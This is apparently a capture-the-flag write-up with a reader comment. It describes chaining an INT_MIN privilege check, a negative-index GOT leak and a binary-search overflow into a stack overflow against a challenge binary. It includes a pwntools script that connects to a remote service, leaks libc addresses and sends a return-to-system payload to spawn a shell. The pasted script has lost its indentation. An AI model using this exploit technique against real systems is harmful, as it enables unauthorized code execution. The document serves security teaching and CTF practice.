This binary is very interesting, i found several vuls to get the final stack overflow exploitation.
The first vul is check_root. Input INT_MIN and you get root.
So you can sort 127 numbers now.
Then, it lets you to read some members in the array, but the index can be less than 0, which means we can leak out the got.plt because the buf is in .bss.This is the 2nd vul.
Here comes the 3rd vul: unsigned int overflow in binary-search algo.
Just let the binary find a value which appears before .got.plt so you can rewrite the .got.plt. What i found is 0x6fffffff and its offset is [-41].
I rewrite the printf, which will be called next loop, to be the address where read is called. I dont give it the length arg, the length arg will be a very large value.
So i get the final stack overflow exploitation.
from pwn import *
if len(sys.argv) >= 2:
io = remote('126.96.36.199', 31335)
io = remote('127.1', 4444)
context.arch = 'i386'
offset_system = 0x0003b020
offset_dup2 = 0x000d8ac0
offset_read = 0x000d82a0
offset_write = 0x000d8310
offset_str_bin_sh = 0x15f7cf
offset_sh = 0x3aee9
offset_sh1 = 0x602b5
offset_sh2 = 0x602b6 # one gadget
io.sendlineafter('Enter 127 integers', '1 '*126 + '1')
io.sendlineafter('to break', '-21')
read = io.recv(16) # leak read addr
log.info('read ' + read)
read = int(read, 16)
printf = io.recv(16)
log.info('printf ' + printf) # leak printf addr => libc version
printf = int(printf, 16)
libc_base = read - offset_read #
sh1 = offset_sh1 + libc_base
sh2 = offset_sh2 + libc_base
sh = offset_sh + libc_base
bin_sh = offset_str_bin_sh + libc_base
system = offset_system + libc_base
callback = 0x80488Ce # jump to read a very long buf => stack overflow!
for _ in range(21):
io.sendlineafter('?', 'y') # email@example.com
io.sendline('A'*25 + p32(system) + p32(0xdeadbeef) + p32(bin_sh))
Thanks for the writeup that INT_MIN part is really clever. I didn't understand why you'd need 127 integers or what it will print at the ending. Could you please explain please?